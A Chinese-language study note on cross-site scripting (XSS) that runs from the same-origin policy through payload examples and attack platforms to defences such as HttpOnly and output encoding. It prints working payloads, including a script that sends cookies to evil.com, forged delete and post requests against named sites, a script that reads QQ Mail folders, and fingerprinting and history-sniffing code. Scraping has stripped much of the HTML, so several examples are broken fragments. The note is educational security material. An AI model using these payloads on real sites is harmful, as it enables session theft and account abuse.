XSS漏洞学习笔记

浏览器安全

同源策略 
影响源的因素:host,子域名,端口,协议 
a.com通过以下代码:

 
真正的XSS Payload现在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。 
在evil.js中,可以通过如下代码窃取Cookie:

var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。 
事实上,http://www.evil.com/log 并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录 。 
这样就完成了一个最简单的窃取Cookie的XSS Payload。 
黑客可以用这个Cookie直接登录。 
防止:Cookie的“HttpOnly”标识可以防止”Cookie劫持”,我们将在稍后的章节中在具体介绍。

强大的XSS Payload 
构造Get与Post请求:例如在Sohu上有一篇文章, 想通过XSS删除它,该如何做呢? 
假设Sohu博客所在域的某页面存在XSS漏洞,那么通过JavaScript,这个过程如下: 
正常删除该文章的链接是:http://blog.sohu.com/manage/entry.do?m=delete&id=156713012 
对于攻击者来说,只需要直到文章的id,就能够通过这个请求删除这篇文章了。 
攻击者可以通过插入一张图片来发起一个get请求:

var img=document.createElement("img");
img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
document.body.appendChild(img);

攻击者只需要让博客的作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。在具体攻击中,攻击者将通过XSS诱使用户执行XSS Payload。 
再看一个复杂点的例子。如果网站应用者接受POST请求,那么攻击者如何实施XSS攻击呢? 
下例是Douban的一处表单。攻击者将通过Javascript发出一个post请求,提交此表单,最终发出一条新的消息。

 1 var f=document.createElement("form");
 2 f.action="";
 3 f.method="post";
 4 document.body.appendChild(f);
 5 var i1=document.createElement("input");
 6 i1.name=" ck";
 7 i1.value=" JiuY";
 8 f.appendChild(i1);
 9 var i2=document.createElement("input");
10 i2.name=" mb_text";
11 i2.value="testtestseset";
12 f.appendChild(i2);
13 f.submit();

如果表单参数很多的话,通过构造DOM的方式,代码将会很冗长。所以可以直接写HTML代码:

var dd=document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML='
'+ ''+ '' + '
' document.getElementById("xssform").submit();

第二种方法是,通过XMLHttpRequest发送一个POST请求:

 1 var url = "http://www.douban.com";
 2 var postStr = "ck=JiuY&mb_text=test1234";
 3 var ajax = null;
 4 if (window.XMLHttpRequest) {
 5     ajax = new XMLHttpRequest();
 6 } else if (window.ActiveXObject) {
 7     ajax = new ActiveXObject("Microsoft.XMLHTTP");
 8 } else {
 9     return;
10 }
11 ajax.open("POST", url, true);
12 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
13 ajax.send(postStr);
14 ajax.onreadystatechange = function() {
15     if (ajax.readyState == 4 && ajax.status == 200) {
16         alert("Done");
17     }
18 }

通过这个例子可以看出,使用Javascript模拟提交表单并不是一件困难的事情.

下面的例子将演示如何通过XSS Payload读取QMail用户的邮件文件夹: 
首先看看正常的请求是如何获取到所有的邮件列表的。登录邮箱后,点击“收件箱”后。抓包发现浏览器发出了如下请求: 
http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1 
经过分析,真正能访问到邮件列表的链接是: 
http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx… 
这里有一个无法直接构造出的值:sid。从字面推测,这个sid参数应该是用户ID加密后的值。 
所以XSS Payload的思路是先获取到sid的值,然后构造完整的URL,并使用XMLHttpRequest请求到此URL,应该就能得到邮件列表了。XSS Payload如下:

 1 if (top.window.location.href.indexOf("sid=") > 0) {
 2     var sid = top.window..location.href.substr(top.window.location.href.indexOf("sid=") + 4, 24);
 3 }
 4 var folder_url = "http://" + top.window.location.host + "/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=" + sid;
 5 var ajax = null;
 6 if (window.XMLHttpRequest) {
 7     ajax = new XMLHttpRequest();
 8 } else if (window.ActiveXObject) {
 9     ajax = new ActiveXObject("Microsoft.XMLHTTP");
10 } else {
11     return;
12 }
13 ajax.open("GET", folder_url, true);
14 ajax.send(null);
15 ajax.onreadystatechange = function() {
16     if (ajax.readyState == 4 && ajax.status == 200) {
17         alert(ajax.responseText);
18         //document.write(ajax.responseText);
19     }
20 }

邮件列表的内容成功被XSS Payload获取到。

钓鱼: 
XSS并非万能。前面的例子都是Javascript脚本,缺少”与用户的交互”,碰到验证码,和修改密码时需要输入旧密码,XSS Payload就会失效。 
对于验证码,XSS Payload可以读取页面的内容,将验证码的图片URL发送到远程服务器上来实施–攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload 
从而绕过验证码。 
修改密码的问题比较复杂,为了窃取密码,攻击者可以将XSS与”钓鱼”结合。 
实现思路很简单:利用Javascript在当前页面上”画出”一个伪造的登录框,当用户在登录框中输入用户名和密码后,其密码将被发送到黑客的服务器上。

识别用户浏览器: 
navigator.userAgent 
但是userAgent是可以伪造的。这个信息不一定准确。 
由于浏览器之间的实现存在差异,利用这种差异分辨浏览器几乎不会错误。 
参考:

 1 if (window.ActiveObject) {
 2     //MSIE 6.0 or below
 3     //判断是否IE 7以上
 4     if (document.documentElement && typeof document.documentElement.style.maxHeight != "undefined") {
 5         if (typeof document.adoptNode != "undefined") { //Safari 3 & FF & Opera & Chrome & IE8
 6             //MSIE 8.0
 7         }
 8         //MSIE 7.0
 9     }
10     return "msie"; //MSIE6.0
11 } else if {
12     typeof window.opera != "undefined") { //Opera独占
13         return "opera";
14     } else if (typeof window.netscape != "undefined") { //Mozilla独占
15         if (typeof window.Iterator != "undefined") {
16             //Firefox 2.0以上支持这个对象
17             if (typeof document.styleSheetSets != "undefined") { //FireFox 3 & Opera 9
18                 //Firefox 3
19             }
20             //Firefox 2.0
21         }
22         return "mozilla";
23     } else if (typeof window.pageXOffset != "undefined") { //Mozilla & Safari
24         try {
25             if (typeof external.AddSearchProvider != "undefined") { //Firefox & Google Chrome
26                 return "Chrome";
27             }
28         } catch(e) {
29             return "safari";
30         }
31     } else { //unknown
32         return "unknown";
33     }

识别用户安装的软件: 
在IE中,可以通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”–黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到 
入木马的目的。 
看如下代码:

try {
  var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');
} catch (e){
  //异常了,不存在该控件
}

通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本。 
一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。 
在XSS Payload中,可以在Flash的ActionScript中读取system.capabilities对象后,将结果通过ExternalInterface传给页面的javascript。 
浏览器的扩展和插件也能被XSS Payload扫描出来。比如对于Firefox的插件和扩展,有着不同的检测方法。 
Firefox的插件(Plugins)列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件: 
所以直接查询”navigator.plugins”对象,就能找到所有的插件了。例如 navigator.plugins[0] 
而Chrome的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:通过检测扩展的图标,来判断某个特定的扩展是否存在。 
在Chrome中有一个特殊的协议: chrome:// ,Chrome的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问: 
chrome://flashgot/skin/icon32.png 
扫描Chrome扩展时,只需在Javascript中加载这张图片,如果加载成功,则扩展存在;反之,扩展就不存在

1 var m = new Image();
2 m.onload = function() {
3     alert(1); //图片存在
4 };
5 m.onerror = function() {
6     alert(2); //图片不存在
7 };
8 m.src = "chrome://flashgot/skin/icon32.png"; //连接图片

CSS History Hack: 
我们再看看另外一个有趣的XSS Payload—通过CSS,来发现一个用户曾经访问过的网站。 
原理是利用style的visited桑性—如果用户曾经访问过某个链接,那么这个链接的颜色会变的与众不同。

 1 < script >
 2 var websites = [...要检测的访问过的网址列表,可能有几千个...];
 3 //遍历每个URL
 4 for (var i = 0; i < websites.length: i++) {
 5     var link = document.createElement("a");
 6     link.id = "id" + i;
 7     link.href = websites[i];
 8     link.innerHTML = websites[i];
 9     document.write('');
12     document.body.appendChild(link);
13     var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color");
14     document.body.removeChild(link);
15     if (color == "rgb(255,0,0)") { //visited
16         var item = document.createElement('li');
17         item.appendChild(link);
18         document.getElementById('visited').appendChild(item);
19     } else { //Not visited
20         var item = document.createElement('li');
21         item.appendChild(link);
22         document.getElementById('notvisited').appendChild(item);
23     }
24 } < /script>/

但是Firefox已经决定修补这个问题

获取用户的真实IP地址: 
很多时候,用户电脑的IP地址隐藏在代理服务器或NAT的后面。 
javascript本身并没有获取本地IP地址的能力。一般需要第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。 
在XSS攻击框架”Attack API”中,就有一个获取本地IP地址的API:

1 AttackAPI.dom.getInternalIP = function() {
2     try {
3         var sock = new java.net.Socket();
4         sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
5         sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port) ? 80 : document.location.port));
6         return sock.getLocalAddress().getHostAddress();
7     } catch(e) {}
8     return '127.0.0.1';
9 };

此外,还有两个利用Java获取本地网络信息的API:

XSS攻击平台:

XSS Payload如此强大,为了使用方便,有安全研究者将许多功能封装起来,成为XSS攻击平台。这些攻击平台的主要目的是为了演示XSS的危害,以及方便渗透测试使用。 
Attack API: Attack API是安全研究者pdp所主导的一个项目,他总结了很多能够直接使用的XSS Payload,归纳为API的方式。 
BeFF:曾经是最好的XSS演示平台。其所演示的是一个完整的XSS攻击过程。 
XSS-Proxy:是一个轻量级的XSS攻击平台,通过嵌套iFrame的方式可以实时地远程控制被XS攻击的浏览器。 
这些XSS攻击平台有助于深入理解XSS的原理和危害。

终极武器:XSS Worm

Samy Worm: 
2005年,年仅19岁的Samy Kamkar发起了对MySpace.com的XSS Worm攻击。 
MySpace过滤了很多危险的HTML标签,只保留了标签、标签、

标签等”安全的标签”.并过滤了所有的事件,例如”onclick”。但是MySpace却允许用户控制标签的Style属性,通 
style,还是有办法构造出XSS的。比如:

其次,MySpace同时还过滤了”javascript”、”onreadystatechange”等敏感词,所以Samy用了“拆分法”绕过这些限制。 
最后Samy通过Ajax构造的Post请求,完成了在用户的heros列表里添加自己名字的功能;同事复制蠕虫自身进行传播。至此,XSS Worm就完成了。 
具体代码太长。。。 
但是发起XSS Worm攻击是有一定的条件的: 
一般来说,用户之间发生交互行为的页面,如果存在存储性XSS,则比较容易发起XSS Worm攻击。 
比如发送站内信、用户留言等页面,都是XSS Worm的高发区,需要重点关注。而相对的,如果一个页面只能由用户个人查看,比如”用户个人资料设置”页面,因为缺乏用户之间互动的功能 
所以即使存在XSS,也不能被用于XSS Worm的传播。

百度空间蠕虫: 
调试Javascript: 
要想写好XSS Payload,需要有很好的Javascript功底,调试javascript是必不可少的技能。 
Firebug …

XSS构造技巧

利用字符编码: 
“百度搜藏”曾经出现过一个这样的XSS漏洞。百度在一个 
希望达到的输出效果是: 
" /> 
假设长度限制为20个字节,则这段XSS会被切割为: 
$var输出为: ">

最终的效果是:

" />

中间的代码前部被注释掉了。

使用标签: 
标签是定义所有使用”相对路径”标签的hosting地址 
例如:




需要注意的是标签可以出现在页面的任何地方,并作用于该标签之后的所有标签。 
攻击者如果在页面中插入了标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用”相对路径“的标签。比如:

...

这段代码将window.name赋值为test,然后显示当前域和window.name的值,最后页面跳转到www.b.com/test1.html。 
www.b.com/test1.html的代码为:



这个过程实现了数据的跨域传递:”test”这个值从www.a.com传递到www.b.com 
使用window.name可以缩短XSS Payload的长度,如下所示:

在统一窗口打开XSS的站点后,只需通过XSS执行以下代码即可: 
eval(name); 
只有11个字节,短到了极点。 
这个技巧为安全研究者luoluo发现,同时他还整理了很多绕过XSS长度限制的技巧。

变废为宝:Mission Impossible 
从XSS漏洞利用的角度来看,存储型XSS对攻击者的用处比反射型XSS要大。而有的XSS漏洞被认为只能够攻击自己,属于”鸡肋”漏洞。但随着时间的推移,数个曾经被认为是无法利用的 
洞,都被人找到了利用方法: 
a)Apache Expect Header XSS: 
b)Anehta的回旋镖:

容易被忽视的角落:Flash XSS 
前面降到的XSS攻击都是基于HTML的,其实在Flash中同样也有可能造成XSS攻击。 
在Flash中是可以嵌入ActionScript脚本的。一个最常见的Flash XSS可以这样写: 
getURL(“javascript:alert(document.cookie)”) 
ActionScript是一种非常强大和灵活的脚本,甚至可以使用它来发起网络连接,因此应该尽可能地阻止用户能够上传和加载自定义的Flash文件。 
由于Flash文件如此危险,所以在实现XSS Filter时,一般都会禁用、等标签。后者甚至可以加载ActiveX控件,产生更为严重的后果。 
嵌入FLash的脚本重要的参数有allowScriptAccess(推荐值never)、allowNetworking(建议值none或者internal)。 
Flash XSS往往被忽视,因为其问题出现在编译后的Flash文件中。

真的高枕无忧吗?Javascript开发框架 
jQuery本身出现的漏洞较少,但是开发者的意识才是安全编码的关键。 
例如$(‘div.demo-container’).html(“”); 
如果用户可控制输入,那么XSS产生是必然的。

XSS的防御

HttpOnly

浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。是为了解决劫持Cookie攻击。因为Javascript获取不到Cookie的值。 
C#中设置HttpOnly的方法: 
HttpCookie myCookie=new HttpCookie(“myCookie”); 
myCookie.HttpOnly=true; 
Response.AppendCookie(myCookie);

输入检查

常见的Web漏洞如XSS、SQL诸如等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。 
例如,用户名可能会被要求只能为字母、数字的组合。 
输入检查的逻辑应该放在服务器端,否则很容易被绕过。目前的普遍做法是在客户端和服务器端都执行检查。 
在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如< > ’ “等。如果发现,则将这些字符过滤掉或编码。 
比较智能的还会检查

防御方法是对变量使用HtmlEncode。

在HTML属性中输出:如

可以构造出:

<"" >

防御方法也是HtmlEncode。在OWASP ESAPI中推荐了一种更严格的HtmlEncode–除了字母、数字外,其他所有的字符都被编码成HTMLEntities。 
String sfa=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input")]; 
这种严格的编码方式,可以保证不会出现任何安全问题。

可以构造出:

防御时也是使用JavascriptEncode

在事件中输出:如 
test 
可以构造出: 
test 
在防御时需要使用JavascriptEncode

在CSS中输出: 
在CSS和style、style attribute中形成的XSS的方式非常多样化,参考下面几个XSS的例子。

  • XSS

    所以一般来说,尽可能地禁止用户可控制的变量在”